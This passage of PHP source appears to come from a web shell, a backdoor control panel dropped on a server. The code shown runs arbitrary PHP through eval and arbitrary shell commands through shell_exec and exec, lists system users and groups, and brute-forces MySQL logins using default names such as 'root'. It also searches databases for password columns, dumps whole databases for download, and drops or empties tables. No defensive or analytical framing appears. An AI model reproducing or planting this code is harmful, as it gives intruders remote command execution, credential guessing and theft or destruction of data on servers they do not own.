761 } else echo "<font color=\"#990000\"><b>Error:</b> file \"".htmlentities($file)."\" could not be touched (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
762 }
763 break;
764 case "mkdir":
765 $dir = get('dir');
766 if($dir) {
767 if(@mkdir($dir)) {
768 echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" made successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($dir)."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
769 } else echo "<font color=\"#990000\"><b>Error:</b> directory \"".htmlentities($dir)."\" could not be made (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
770 }
771 break;
772 case "eval":
773 if(!request('shownone')) {
774 ?>
775 Eval (execute) this code:
776 <form method="POST" action="?action=eval">
777 <input type="checkbox" name="shownone" value="1" <?php if(request('shownone')) echo "CHECKED";?>> Do not echo out anything except for the output of the executed code<br>
778 <input type="checkbox" name="showallerrors" value="1" <?php if(request('showallerrors')) echo "CHECKED";?>> Show all PHP errors, warnings and notices<br>
779 <textarea name="eval" style="width:90%;height:500;"><?php echo htmlentities(request('eval'));?></textarea><br>
780 <input type="submit" value="execute">
781 </form>
782 <?php
783 }
784 if(request('eval')) {
785 if(!request('shownone')) echo "evaling PHP Code below:<hr>";
786 if(request('showallerrors')) {
787 @ini_set("error_reporting", "E_ALL");
788 @error_reporting(E_ALL);
789 }
790 eval(request('eval'));
791 }
792 break;
793 case "shellexec":
794 ?>
795 execute this shell (one command per line):
796 <form method="POST" action="?action=shellexec">
797 <textarea name="shellexec" style="width:90%;height:500;"><?php echo htmlentities(request('shellexec'));?></textarea><br>
798 <input type="checkbox" name="processasmany" value="1" <?php if(request('processasmany')) echo "CHECKED"; ?>> Proccess seperately (only check if the commands don't have anything to do with each other)
799 <input type="submit" value="execute">
800 </form>
801 <?php
802 if(request('shellexec')) {
803 if(!request('processasmany')) {
804 echo "executing shell below:<hr><pre>";
805 echo "<b>".htmlentities(request('shellexec'))."</b><hr><br>".htmlentities(shell_exec(str_replace("\r","",request('shellexec'))))."<hr>";
806 echo "<hr></pre>";
807 } else {
808 $commands = explode("\n",str_replace("\r","",request('shellexec')));
809 echo "executing shell below:<hr><pre>";
810 foreach($commands as $cmd) echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(shell_exec($cmd))."<hr>";
811 echo "<hr></pre>";
812 }
813 }
814 break;
815 case "exec":
816 ?>
817 execute this program (one command per line):
818 <form method="POST" action="?action=exec">
819 <textarea name="exec" style="width:90%;height:500;"><?php echo htmlentities(request('exec'));?></textarea><br>
820 <input type="submit" value="execute">
821 </form>
822 <?php
823 if(request('exec')) {
824 $commands = explode("\n",str_replace("\r","",request('exec')));
825 echo "executing below:<hr><pre>";
826 foreach($commands as $cmd) { if(trim($cmd)) { exec($cmd,$output,$ret); echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(print_r($output,true))."<hr>Return status:".htmlentities($ret)."<hr>";}}
827 echo "<hr></pre>";
828 }
829 break;
830 case "phpinfo":
831 phpinfo();
832 break;
833 case "system":
834 ?>
835 <h2>System</h1>
836 <?php $sys = posix_uname(); ?>
837 Sysname: <?php echo htmlentities($sys['sysname']); ?><br />
838 nodename: <?php echo htmlentities($sys['nodename']); ?><br />
839 release: <?php echo htmlentities($sys['release']); ?><br />
840 version: <?php echo htmlentities($sys['version']); ?><br />
841 machine: <?php echo htmlentities($sys['machine']); ?><br />
842 <?php
843 if(isset($_GET['start']) && (int)get('start')) $start = (int)get('start');
844 else $start = 0;
845 if(isset($_GET['end']) && (int)get('end')) $end = (int)get('end');
846 else $end = 20000;
847 if(isset($_GET['startg']) && (int)get('startg')) $startg = (int)get('startg');
848 else $startg = 0;
849 if(isset($_GET['endg']) && (int)get('endg')) $endg = (int)get('endg');
850 else $endg = 500;
851 ?>
852 <form method="get">
853 <input type="hidden" name="action" value="system" /><br />
854 <b>UID Range:</b><br />
855 Start: <input type="text" name="start" value="<?php echo $start; ?>" /><br />
856 End: <input type="text" name="end" value="<?php echo $end; ?>" /><br />
857 <b>GID Range:</b><br />
858 Start: <input type="text" name="startg" value="<?php echo $startg; ?>" /><br />
859 End: <input type="text" name="endg" value="<?php echo $endg; ?>" /><br />
860 <input type="submit" />
861 </form>
862 <h2>Users</h2>
863 <ul>
864 <?php
865 for($i = $start;$i < $end;$i++) {
866 $user = posix_getpwuid($i);
867 if($user) {
868 echo "<li> <b>".htmlentities($user['name'])."</b>
869 <blockquote>passwd: ".htmlentities($user['passwd'])."<br /> uid/gid: ".htmlentities($user['uid'])." / ".htmlentities($user['gid'])."<br /><!--gecos: ".htmlentities($user['gecos'])."<br />-->dir: ".htmlentities($user['dir'])."<br /><!--shell: ".htmlentities($user['shell'])."--></blockquote></li>";
870 } elseif($user === null) {
871 echo "<li> <b>Error:</b> posix_getpwuid() returned null. Should either return array or false. This most likely means it is disabled on this server. Stopping.</li>";
872 break;
873 }
874
875 }?>
876 </ul>
877 <h2>Groups</h2>
878 <ul>
879 <?php
880 for($i = $startg;$i < $endg;$i++) {
881 $group = posix_getgrgid($i);
882 if($group) {
883 echo "<li> <b>".htmlentities($group['name'])."</b>
884 <blockquote>passwd: ".htmlentities($group['passwd'])."<br /> gid: ".htmlentities($group['gid'])."<br /> Members: <ul>";
885 foreach($group['members'] as $member) {
886 echo "<li>".$member."</li>";
887 }
888 echo "</ul></blockquote></li>";
889 }
890
891 }//echo "<pre>";print_r(posix_getgrgid(103));print_r(posix_getgrgid(50));
892 ?>
893 </ul>
894 <?php
895 break;
896 case "showglobals":
897 echo "<pre>";
898 echo htmlentities(print_r($GLOBALS,true));
899 echo"</pre>";
900 break;
901 case "mysql":
902 switch(get('type')) {
903 default:
904 ?>
905 [<a href="?action=mysql&type=bf">Brute Force</a>]
906 [<a href="?action=mysql&type=query">Query</a>]
907 [<a href="?action=mysql&type=miniadmin">MiniAdmin</a>]
908 <?php
909 break;
910 case "bruteforce":
911 case "bf":
912 if(!post('users') || !post('passes')) {
913 ?>
914 <form method="POST" action="?action=mysql&type=bruteforce">
915 <h3 style="margin:2px;">Brute force:</h3>
916 <textarea name="users" style="width:40%;height:350;"><?php echo (post('users') ? htmlentities(post('users')) : "root\nmysql\n".@get_current_user());?></textarea> <textarea name="passes" style="width:40%;height:350;"><?php echo (post('passes') ? htmlentities(post('passes')) : "\n\nmysql\n".@get_current_user());?></textarea><br>
917 <input type="submit" value="execute">
918 </form>
919 <?php
920 } else {
921 $passes = explode("\n",str_replace("\r","",post('passes')));
922 $users = explode("\n",str_replace("\r","",post('users')));
923 foreach($users as $user) {
924 foreach($passes as $pass) {
925 if(@mysql_pconnect('localhost',$user,$pass)) {
926 echo "<b>Success</b> with combination: <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
927 } else {
928 echo "Failure with combination: <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
929 }
930 }
931 }
932 }
933 break;
934 case "query":
935 if(!isset($_POST['user']) || !isset($_POST['pass']) || !post('query')) {
936 ?>
937 <form method="post" action="?action=mysql&type=query">
938 MySQL host: <input type="text" name="host" value="<?php echo (post('host') ? htmlentities(post('host')) : 'localhost'); ?>" /><br />
939 MySQL user*: <input type="text" name="user" value="<?php echo htmlentities(post('user')); ?>" /><br />
940 MySQL pass: <input type="text" name="pass" value="<?php echo htmlentities(post('pass')); ?>" /><br />
941 MySQL database: <input type="text" name="database" value="<?php echo htmlentities(post('database')); ?>" /><br />
942 <textarea style="width:90%;height:300px;" name="query"><?php echo htmlentities(post('query')); ?></textarea><br />
943 Queries seperated by newlines.<br />
944 <input type="checkbox" name="cancelonfail" value="1" <?php if(post('cancelonfail')) echo "CHECKED"; ?>>Stop if a query fails?<br />
945 <input type="submit" value="Do it!" />
946 </form>
947 <b>Useful Queries:</b><br />
948 <ul>
949 <li>SHOW DATABASES;</li>
950 <li>USE <i>[database name]</i>;</li>
951 <li>SHOW TABLES;</li>
952 <li>SHOW COLUMNS IN <i>[table name]</i>;</li>
953 <li>SELECT * FROM <i>[table name]</i> LIMIT <i>1</i>;</li>
954 <li>SELECT * FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
955 <li>DELETE FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
956 <li>DELETE FROM <i>[table name]</i>;</li>
957 <li>UPDATE <i>[table name]</i> SET <i>[column name]</i>='<i>value</i>', <i>[column name]</i>='<i>value</i>' WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
958 </ul>
959 <?php
960 } else {
961 $connection = @mysql_pconnect((post('host') ? post('host') : 'localhost'),post('user'),post('pass')) or die('<b>Error:</b> Could not connect to the server. Wrong pass/user?');
962 echo "Connection established.<br />";
963 if(post('database')) {
964 @mysql_select_db(post('database'),$connection) or die('<b>Error:</b> no connection to the database. Does it exist?');
965 echo "Database selected.<br />";
966 }
967 $queries = explode("\n",str_replace("\r","",post('query')));
968 foreach($queries as $query) {
969 if($query) {
970 echo "<blockquote>";
971 if($q = mysql_query($query)) {
972 $aff_row = mysql_affected_rows();
973 echo "Query successful! (".$aff_row." affected rows)<br /><input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br />";
974 if(is_resource($q)) {
975 echo "<b>Query Result:</b><br />";
976 echo "<blockquote>";
977 while($qr = mysql_fetch_assoc($q)) {
978 echo "<pre>".htmlentities(print_r($qr,true))."</pre><hr />";
979 }
980 echo "</blockquote>";
981 } else {
982 echo "Query is resultless. (this means it's a query that will never return anything - like update or delete, not an empty select)<br />";
983 }
984 } else {
985 echo "<b>Query failed!</b><br />Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br /><b>MySQL error:</b> ".mysql_error()."<br />";
986 if(post('cancelonfail')) {
987 echo "</blockquote><hr />Query failed! stopping!<br />";
988 break;
989 }
990 }
991 echo "</blockquote><hr />";
992 }
993 }
994 echo "All done!<br />";
995 }
996 break;
997 case "miniadmin":
998 if(isset($_GET['u']) && isset($_GET['p'])) {
999 $url = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p')).(get('shownodbs') ? "&shownodbs=1" : "").(get('heavyloadmode') ? "&heavyloadmode=1" : "");
1000 if($mcon = @mysql_pconnect((get('h') ? get('h') : 'localhost'),get('u'),get('p'))) {
1001 if(!get('shownone')) {
1002 echo "<b>".htmlentities(get('h'))."</b> - ".htmlentities(get('db'))."<br />";
1003 $databases = mysql_list_dbs();
1004 echo "Databases: | ";
1005 if(!get('shownodbs')) {
1006 while ($row = mysql_fetch_row($databases)) {
1007 if(get('db') != $row[0]) echo "<a href=\"".$url."&db=".htmlentities(urlencode($row[0]))."\">".$row[0]."</a> | \n";
1008 else echo "<b>".$row[0]."</b> | ";
1009 }
1010 } else echo "Databases are hidden.";
1011 echo "<hr />";
1012 }
1013 if(get('db')) {
1014 $urld = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db')).(get('shownodbs') ? "&shownodbs=1" : "").(get('heavyloadmode') ? "&heavyloadmode=1" : "");
1015 if(@mysql_select_db(get('db'),$mcon)) {
1016 if(!get('shownone')) {
1017 $tables = mysql_query("SHOW TABLES");
1018 if($tables) {
1019 echo "Tables: | ";
1020 while ($row = mysql_fetch_row($tables)) {
1021 if(get('tb') != $row[0]) echo "<a href=\"".$url."&db=".get('db')."&tb=".$row[0]."\">".$row[0]."</a> | \n";
1022 else echo "<b>".$row[0]."</b> | ";
1023 }
1024 echo "<hr />";
1025 } else {
1026 echo "<b>Error:</b> The SHOW TABLES query failed! (".mysql_error().")<hr />";
1027 }
1028 }
1029 if(get('tb')) {
1030 $urlt = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db'))."&tb=".urlencode(get('tb')).(get('shownodbs') ? "&shownodbs=1" : "").(get('heavyloadmode') ? "&heavyloadmode=1" : "");
1031 switch(get('ta')) {
1032 default:
1033 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
1034 if($getcolumns) {
1035 ?><table border="1"><tr><td>Field</td><td>type</td><td>Key</td><td>default</td><td>AI?</td><td>Null?</td></tr><?php
1036 while($column = mysql_fetch_assoc($getcolumns)) {
1037 echo "<tr><td>".htmlentities($column['Field'])."</td><td>".htmlentities($column['Type'])."</td><td>".htmlentities(($column['Key'] ? $column['Key'] : 'none'))."</td><td>".htmlentities($column['Default'])."</td><td>".($column['Extra'] == "auto_increment" ? "y" : "n")."</td><td>".htmlentities($column['Null'])."</td></tr>";
1038 }
1039 ?></table><br /><?php
1040 } else die ("<b>Error:</b> Could not retrieve columns!<br />");
1041 if(!get('heavyloadmode')) {
1042 list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."`"));
1043 echo "Number of entries: ".$totalrows."<br />";
1044 }
1045 echo "<hr />";
1046 break;
1047 case "delrow":
1048 echo "<b>Deleting a row</b><br />";
1049 $iden = get('trid');
1050 if($query = get_iden_query($iden)) {
1051 $getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
1052 if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
1053 echo "Row found!<br />";
1054 if(!post('sure')) {
1055 echo "<b>Are you sure you want to delete this row?</b><br /><form method='post'><input type='checkbox' name='sure' value='1' />Yes<br /><input type='submit'></form><b>Rowdata:</b><br />";
1056 foreach($rowdata as $key => $val) {
1057 echo "<u>".htmlentities($key)."</u>: <br />";
1058 echo "<textarea>".htmlentities($val)."</textarea><br /><br />";
1059 }
1060 } else {
1061 $quer = "DELETE FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1";
1062 echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
1063 if(mysql_query($quer)) {
1064 echo "Deleted row successfully";
1065 } else echo "<b>Mysql error while deleting:</b> ".htmlentities(mysql_error());
1066 }
1067 } else echo "Error: This row could not be found. Have you already deleted it?";
1068 }
1069 echo "<hr />";
1070 break;
1071 case "editrow":
1072 echo "<b>Editing a row</b><br />";
1073 $iden = get('trid');
1074 if($query = get_iden_query($iden)) {
1075 $getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
1076 if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
1077 echo "Row found!<br /><br />";
1078 if(!$_POST) {
1079 echo "<form method='post'><b>Edit the values below:</b><br />";
1080 foreach($rowdata as $key => $val) {
1081 echo "<u>".htmlentities($key)."</u>: <br />";
1082 echo "<textarea style='width:90%;height:110px;' name=\"".htmlentities($key)."\">".htmlentities($val)."</textarea><br /><br />";
1083 }
1084 echo "<input type='submit' value='Edit!' /></form>";
1085 } else {
1086 $q2 = "";
1087 foreach($rowdata as $key => $val) {
1088 if(isset($_POST[$key]) && post($key) != $val) $q2 .= ($q2 ? ', ' : '')."`".$key."`='".post($key)."'";
1089 }
1090 if($q2) {
1091 $quer = "UPDATE `".mysql_real_escape_string(get('tb'))."` SET ".$q2." WHERE ".$query." LIMIT 1";
1092 echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
1093 if(mysql_query($quer)) {
1094 echo "Edited row successfully";
1095 } else echo "<b>Mysql error while editing:</b> ".htmlentities(mysql_error());
1096 } else echo "Error: You didn't change any rows!";
1097 }
1098 } else echo "Error: This row could not be found. Have you already deleted it?";
1099 }
1100 echo "<hr />";
1101 break;
1102 case "view":
1103 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
1104 if($getcolumns) {
1105 $columns = array();
1106 while($column = mysql_fetch_assoc($getcolumns)) {
1107 $columns[] = $column;
1108 }
1109 } else die("<b>Error:</b> Could not retrieve columns! (".mysql_error().")<br />");
1110 $s = ((int)get('s') ? (int)get('s') : 0);
1111 $n = ((int)get('n') ? (int)get('n') : 100);
1112 $limit = $s.",".$n;
1113
1114 $userwhere = "";
1115 if(get('cwhere')) {
1116 //if(substr(trim(get('cwhere')),0,5) != 'where') $userwhere = "WHERE ".get('chwere');
1117 $userwhere = get('cwhere');
1118 }
1119
1120 $query = "SELECT * FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere." LIMIT ".$limit;
1121 $getrows = mysql_query($query);
1122 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1123 echo '<form method="get" style="display:inline;">';
1124 foreach($_GET as $k => $v) if(!in_array($k,array("s","cwhere"))) echo "<input type=\"hidden\" name=\"".htmlentities($k)."\" value=\"".htmlentities($v)."\" />";
1125 echo 'Your custom additions: <input type="text" name="cwhere" value="'.(get('cwhere') ? htmlentities(get('cwhere')) : 'WHERE 1').'" size="60" /><input type="submit" value="change query"></form><br />';
1126 if($getrows) {
1127 if(!get('heavyloadmode')) {
1128 list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere));
1129 echo '<b>Page '.($n ? ($s/$n)+1 : 1).'</b> (Selecting '.$n.' out of a total of '.$totalrows.' rows, starting at '.$s.')<br />';
1130 if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1131 if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1132 } else echo '<b>Page '.($n ? ($s/$n)+1 : 1).'</b> (Selecting '.$n.' out of a total of ??? rows, starting at '.$s.')<br />[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>][<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1133 echo "<table border='1'>\n<tr>";
1134 echo "<td>#</td><td></td>";
1135 $prim = array();
1136 foreach($columns as $column) {
1137 echo "<td>".($column['Key'] ? "<b>" : "").htmlentities($column['Field']).($column['Key'] ? "</b>" : "")." <i>(".htmlentities($column['Type']).")</i></td>";
1138 if($column['Key'] == "PRI") $prim[] = $column;
1139 }
1140 if(!$prim) $prim = $columns;
1141 echo "</tr>\n";
1142 $i = $s;
1143 while($row = mysql_fetch_assoc($getrows)) {
1144 $outp = "";
1145 $primaries = "";
1146 foreach($columns as $column) {
1147 if(in_array($column,$prim)) $primaries .= ($primaries ? "&" : "").urlencode($column['Field'])."=".htmlentities(urlencode($row[$column['Field']]));
1148 $outp .= "<td>";
1149 $size = 0;
1150 if(strpos($column['Type'],"(") === false) list($type) = explode("(",str_replace(")","",$column['Type']),2);
1151 else list($type,$size) = explode("(",str_replace(")","",$column['Type']),2);
1152 $size = intval($size);
1153 switch($type) {
1154 default: $outp .= htmlentities($row[$column['Field']]); break;
1155 case "int": $outp .= $row[$column['Field']]; break;
1156 case "varchar": case "char": $outp .= '<input type="text" size="'.(($size > 0 && $size < 20) ? $size : 25).'" value="'.htmlentities($row[$column['Field']]).'" />'; break;
1157 case "text": case "longtext": $outp .= '<textarea style="width:200px; height:50px;">'.htmlentities($row[$column['Field']]).'</textarea>'; break;
1158 }
1159 $outp .= "</td>";
1160 }
1161 $identification = "trid=".base64_encode($primaries);
1162 echo "<tr ".(($i%2) ? 'bgcolor="#EEEEEE"' : '')."><td>".$i."</td><td><a href='".$urlt."&ta=delrow&".$identification."'>X</a> <a href='".$urlt."&ta=editrow&".$identification."'>E</a></td>";
1163 $outp .= "</tr>\n";
1164 echo $outp;
1165 $i++;
1166 }
1167 echo "</table>";
1168 if(!get('heavyloadmode')) {
1169 if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1170 if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1171 } else echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>][<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1172 } else echo "<b>Error:</b> Could not get data due to mysql error (".mysql_error().")<br />";
1173 echo "<hr />";
1174 break;
1175 case "empty":
1176 if(post('sure')) {
1177 $query = "DELETE FROM `".mysql_real_escape_string(get('tb'))."`";
1178 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1179 if(mysql_query($query)) echo "Successfully emptied the table!<br />";
1180 else echo "MySQL error while emptying table: ".mysql_error()."<br />";
1181 } else {
1182 ?>
1183 <form method="post" action="<?php echo htmlentities($urlt);?>&ta=empty">Are you sure you want to empty the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1184 <?php
1185 }
1186 echo "<hr />";
1187 break;
1188 case "drop":
1189 if(post('sure')) {
1190 $query = "DROP TABLE `".mysql_real_escape_string(get('tb'))."`";
1191 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1192 if(mysql_query($query)) echo "Successfully dropped the table!<br />";
1193 else echo "MySQL error while dropping the table: ".mysql_error()."<br />";
1194 } else {
1195 ?>
1196 <form method="post" action="<?php echo htmlentities($urlt);?>&ta=drop">Are you sure you want to drop the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1197 <?php
1198 }
1199 echo "<hr />";
1200 break;
1201 case "dlsql":
1202 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb').".sql\"");
1203 @header("Content-type: text/plain");
1204 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1205 echo "-- - table structure: ".get('h')." / ".get('db')." / ".get('tb')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1206 gettablesql(get('tb'));
1207 exit;
1208 break;
1209 case "dlsqldump":
1210 @set_time_limit(0);
1211 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb')."-data.sql\"");
1212 @header("Content-type: text/plain");
1213 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1214 echo "-- - table dump: ".get('h')." / ".get('db')." / ".get('tb')."\n-- - ".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1215 gettablesql(get('tb'));
1216 gettablecontentsql(get('tb'),((int)get('break') ? (int)get('break') : 100));
1217 exit;
1218 break;
1219 case "dlsqldump_partial":
1220 if(post('limit')) $limit = "LIMIT ".post('limit');
1221 else $limit = "";
1222 if(post('where')) $part = "WHERE ".post('where');
1223 else $part = "";
1224 if(post('order')) $order = "ORDER BY ".post('order');
1225 else $order = "";
1226 if(!$part && !$limit) {
1227 ?>
1228 <form method="post" action="<?php echo htmlentities($urlt);?>&ta=dlsqldump_partial&shownone=1">
1229 Partial dump of a table, eh? Alright. <br />
1230 <b>So this would be your query:</b><br />
1231 SELECT * FROM <?php echo htmlentities(get('tb')); ?> <br />
1232 WHERE <input type="text" name="where" value="" /> <i>(You can leave this empty if you don't want to get special results)</i><br />
1233 ORDER BY <input type="text" name="order" value="" /> <i>(You can leave this empty if you don't want to order)</i><br />
1234 LIMIT <input type="text" name="limit" value="" /> <i>(You can leave this empty if you don't want to limit it)</i><br />
1235 <input type="submit" value="Do it!" />
1236 </form>
1237 <hr />
1238 <?php
1239
1240 } else {
1241 @set_time_limit(0);
1242 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb')."-data-partial.sql\"");
1243 @header("Content-type: text/plain");
1244 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1245 echo "-- - table dump partial: ".get('h')." / ".get('db')." / ".get('tb')."\n-- - ".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n-- - Partial dump:\n".(post('where') ? ("-- - WHERE ".str_replace(array("\n","\r"),"",post('where'))."\n") : '').(post('limit') ? ("-- - LIMIT ".str_replace(array("\n","\r"),"",post('limit'))."\n") : '').(post('order') ? ("-- - ORDER BY ".str_replace(array("\n","\r"),"",post('order'))."\n") : '');
1246 gettablesql(get('tb'));
1247 gettablecontentsql(get('tb'),((int)get('break') ? (int)get('break') : 100),0,$part,$limit,$order);
1248 exit;
1249 }
1250 break;
1251 }
1252 if(!get('shownone')) {
1253 echo '<b>Table actions:</b><br />[<a href="'.$urlt.'&ta=view&s=0&n=10">view data</a> 10/page] [<a href="'.$urlt.'&ta=view&s=0&n=50">view data</a> 50/page] [<a href="'.$urlt.'&ta=view&s=0&n=100">view data</a> 100/page] [<a href="'.$urlt.'&ta=view&s=0&n=200">view data</a> 200/page] [<a href="'.$urlt.'&ta=view&s=0&n=500">view data</a> 500/page] [<a href="'.$urlt.'&ta=view&s=0&n=1000">view data</a> 1000/page]<br />';
1254 echo '[<a href="'.$urlt.'">view structure</a>] [<a href="'.$urlt.'&ta=empty">empty</a>] [<a href="'.$urlt.'&ta=drop">drop</a>] [<a href="'.$urlt.'&ta=insert">insert</a>] [<a href="'.$urlt.'&ta=dlsql&shownone=1">download table structure (sql)</a>] [<a href="'.$urlt.'&ta=dlsqldump&shownone=1">download table dump (sql)</a>] [<a href="'.$urlt.'&ta=dlsqldump_partial">download partial table dump (sql)</a>]';
1255 echo "<hr />";
1256 }
1257 } else {//no table selected
1258 switch(get('da')) {
1259 default:
1260
1261 break;
1262 case "dlsql":
1263 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db').".sql\"");
1264 @header("Content-type: text/plain");
1265 $gettables = mysql_query("SHOW TABLES");
1266 $tables = array();
1267 echo "-- - Database structure: ".get('h')." / ".get('db')."\n-- -".date('r')."\n";
1268 while($table= mysql_fetch_row($gettables)) {
1269 gettablesql($table[0]);
1270 }
1271 break;
1272 case "dlsqldump":
1273 @set_time_limit(0);
1274 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-data.sql\"");
1275 @header("Content-type: text/plain");
1276 $gettables = mysql_query("SHOW TABLES");
1277 $tables = array();
1278 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1279 echo "-- - Database dump: ".get('h')." / ".get('db')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1280 while($table= mysql_fetch_row($gettables)) {
1281 echo "\n-- - Table structure: ".$table[0]."\n";
1282 gettablesql($table[0]);
1283 echo "\n-- - Table data: ".$table[0]."\n";
1284 gettablecontentsql($table[0],((int)get('break') ? (int)get('break') : 1000));
1285 echo "\n\n";
1286 }
1287 exit;
1288 break;
1289
1290 }
1291 }
1292 if(!get('shownone')) echo '<b>Database actions:</b> <br />[<a href="'.$urld.'&da=dlsql&shownone=1">download database structure (sql)</a>] [<a href="'.$urld.'&da=dlsqldump&shownone=1">download database dump (sql)</a>] <hr />';
1293
1294 } else {
1295 die( "<b>Error:</b> Selected database does not exist/can't be accessed.<br />");
1296 }
1297 } else {
1298 switch(get('a')) {
1299 case "findpwcols":
1300 echo "<b>Finding columns containing 'pass' or 'pw'</b><br />";
1301 $needle = array('pass','pw');
1302 findindb($needle,'col');
1303 echo "<hr />";
1304 break;
1305 case "find":
1306 if(post('find')) {
1307 echo "<b>Finding columns containing ".htmlentities(post('find'))."</b><br />";
1308 $needle = explode(",",str_replace(" ","",post('find')));
1309 if(post('type') == 'col') findindb($needle,'col',(post('stype') == 1));
1310 else findindb($needle,'table',(post('stype') == 1));
1311 echo "<hr />";
1312 } else {
1313 ?>
1314 <form method="POST" action="<?php echo htmlentities($_SERVER['REQUEST_URI']); ?>">
1315 Find<br />
1316 <input type="radio" name="type" value="col" />columns <input type="radio" name="type" value="table" /> tables<br />
1317 <input type="radio" name="stype" value="0" />containing <input type="radio" name="stype" value="1" /> named<br />
1318 <input type="text" name="find" value="" /> (Separated by comma)<br />
1319 <input type="submit" value="Do it!" />
1320 </form>
1321 <?php
1322 }
1323 break;
1324 case "dlsql":
1325 @header("Content-Disposition: attachment; filename=\"".get('h')."-alldbs.sql\"");
1326 @header("Content-type: text/plain");
